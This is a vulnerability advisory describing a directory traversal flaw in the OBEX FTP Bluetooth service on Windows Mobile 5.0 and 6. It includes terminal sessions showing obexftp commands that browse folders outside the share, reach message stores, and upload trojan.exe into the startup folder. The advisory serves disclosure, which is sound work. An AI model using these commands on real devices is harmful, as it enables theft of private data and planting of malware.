Title: Microsoft Bluetooth Stack OBEX Directory Traversal
Author: Alberto Moreno Tablado
Vendor: Microsoft
Vulnerable Products: 	Windows Mobile 6 Professional
			Probably Windows Mobile 5.0 for Pocket PC
			Probably Windows Mobile 6 Classic
			Probably Windows Mobile 5.0 for Pocket PC Phone Edition
			Probably Windows Mobile 6 Standard
			Probably Windows Mobile 5.0 for Smartphone
Non vulnerable products: Windows Mobile devices 5.0 and 6 using Widcomm/Broadcom Bluetooth Stack
References: http://www.seguridadmobile.com/windows-mobile/windows-mobile-security/Microsoft-Bluetooth-Stack-Directory-Traversal.html

Description:
Most Windows Mobile 5.0 & 6 devices are shipped with Microsoft Bluetooth stack, only few of them use others (like Widcomm Bluetooth stack). Among all the Bluetooth services that may be implemented in the stack, OBEX FTP is the most common service.

OBEX FTP Bluetooth service can be used to share files through Bluetooth, not only by sending files but also by allowing remote devices to browse local shared folders and download files.

gospel@gospel-shift:~/bluez$ hcitool scan
Scanning ...
        00:17:83:02:BA:3C       P6300
gospel@gospel-shift:~/bluez$ obexftp -b 00:17:83:02:BA:3C -l
Browsing 00:17:83:02:BA:3C ...
Channel: 4
Connecting...done
Receiving "(null)"... <?xml version="1.0"?>
<!DOCTYPE folder-listing SYSTEM "obex-folder-listing.dtd">
<folder-listing version="1.0">
  <parent-folder name="" />
  <file name="fotaca.jpg" created="20090119T173932Z" size="134680"/>
  <file name="nota.pwi" created="20090119T175242Z" size="432"/>
</folder-listing>
done
Disconnecting...done
gospel@gospel-shift:~/bluez$ obexftp -b 00:17:83:02:BA:3C -g "/nota.pwi"
Browsing 00:17:83:02:BA:3C ...
Channel: 4
Connecting...done
Receiving "/nota.pwi"... Sending ""... done
done
Disconnecting...done
gospel@gospel-shift:~/bluez$

Usually, the service is configured in such a way that a specific directory is shared and the user can place there all the files he would like to share with other people. The default directory is My Device\My Documents\Bluetooth Share. A different directory may be selected by the user, however the Bluetooth wizard usually doesn't allow specifying any other from the filesystem out of My Device\My Documents\ or Memory Card\My Documents\ paths. This is because of safety reasons, so the user can't expose sensitive files or information through Bluetooth.

There exists a Directory Traversal vulnerability in the OBEX FTP Service in Microsoft Bluetooth Stack implemented in Windows Mobile 5.0 & 6 devices. A remote attacker (who previously owned authentication and authorization rights) can use tools like ObexFTP or gnomevfs-ls to traverse to parent directories out of the default Bluetooth shared folder by using the ../ or ..\\ marks. This means the attacker can browse folders located on a lower level, download files contained in those folders as well as upload files to those folders.

The only requirement is that the attacker must have authentication and authorization privileges over the OBEX FTP service. Pairing up with the remote Windows Mobile device should be enough to get it. In case the attacker succeeded in getting the proper privileges, further actions will be transparent to the user.

As described above, the attacker can take three risky actions:

- Browse directories located out of the limits of the default shared folder and discover sensitive information about the structure of the filesystem.

gospel@gospel-shift:~/bluez$ obexftp -b 00:17:83:02:BA:3C -l "../../My Documents/"
Browsing 00:17:83:02:BA:3C ...
Channel: 4
Connecting...done
Receiving "../../My Documents/"... Sending ".."... Sending ".."... Sending "My Documents"... done
<?xml version="1.0"?>
<!DOCTYPE folder-listing SYSTEM "obex-folder-listing.dtd">
<folder-listing version="1.0">
  <parent-folder name="My Documents" />
  <folder name="Mis imágenes" created="20061231T230020Z"/>
  <folder name="Mis vídeos" created="20061231T230020Z"/>
  <folder name="Personal" created="20061231T230020Z"/>
  <folder name="Mi música" created="20061231T230020Z"/>
  <folder name="Templates" created="20061231T230020Z"/>
  <folder name="UAContents" created="20061231T230022Z"/>
  <folder name="Plantillas" created="20061231T230056Z"/>
  <folder name="TomTom" created="20081229T160020Z"/>
  <folder name="Compartimiento de Bluetooth" created="20090113T134232Z"/>
</folder-listing>
done
Disconnecting...done
gospel@gospel-shift:~/bluez$ obexftp -b 00:17:83:02:BA:3C -l "../../Tarjeta de Almacen./My Documents/"
Browsing 00:17:83:02:BA:3C ...
Channel: 4
Connecting...done
Receiving "../../Tarjeta de Almacen./My Documents/"... Sending ".."... Sending ".."... Sending "Tarjeta de Almacen."... Sending "My Documents"... done
<?xml version="1.0"?>
<!DOCTYPE folder-listing SYSTEM "obex-folder-listing.dtd">
<folder-listing version="1.0">
  <parent-folder name="My Documents" />
  <folder name="Mis imágenes" created="20070324T005340Z"/>
  <folder name="Mis vídeos" created="20070324T005350Z"/>
  <folder name="Mis CABs" created="20080630T143712Z"/>
  <folder name="Mis temas" created="20080124T142220Z"/>
  <folder name="Mis cosas privadas" created="20090119T175942Z"/>
</folder-listing>
done
Disconnecting...done
gospel@gospel-shift:~/bluez$

- Download sensitive files located anywhere in the filesystem, such as personal pictures and documents, emails located in \Windows\Messaging or Contacts+Calendar+Tasks information included in \PIM.vol.

gospel@gospel-shift:~/bluez$ obexftp -b 00:17:83:02:BA:3C -l "../../Windows/Messaging"
Browsing 00:17:83:02:BA:3C ...
Channel: 4
Connecting...done
Receiving "../../Windows/Messaging"... Sending ".."... Sending ".."... Sending "Windows"... done
<?xml version="1.0"?>
<!DOCTYPE folder-listing SYSTEM "obex-folder-listing.dtd">
<folder-listing version="1.0">
  <parent-folder name="Windows" />
  <folder name="Attachments" created="20090119T171318Z"/>
  <file name="6238002d81030102.mpb" created="20090119T173434Z" size="1521"/>
  <file name="6839002d81030102.mpb" created="20090119T171828Z" size="2659"/>
</folder-listing>
done
Disconnecting...done
gospel@gospel-shift:~/bluez$

- Upload malicious files like trojans to any place in the filesystem, such as \Windows\Startup.

In the following capture, the attacker firstly lists the default Bluetooth shared folder. After that, the attacker puts a trojan.exe file in the \Windows\Startup folder.

gospel@gospel-shift:~/bluez$ obexftp -b 00:17:83:02:BA:3C -c "../../Windows/Inicio" -p trojan.exe
Browsing 00:17:83:02:BA:3C ...
Channel: 4
Connecting...done
Sending ".."... Sending ".."... Sending "Windows"... Sending "Inicio"... done
Sending "trojan.exe"...\done
Disconnecting...done
gospel@gospel-shift:~/bluez$

The trojan file will be executed the next time Windows Mobile inits.

Workaround:
Do not accept pairing nor connection requests from unknown sources. Delete old entries in the paired devices list. Wait for proper vendor response and updates.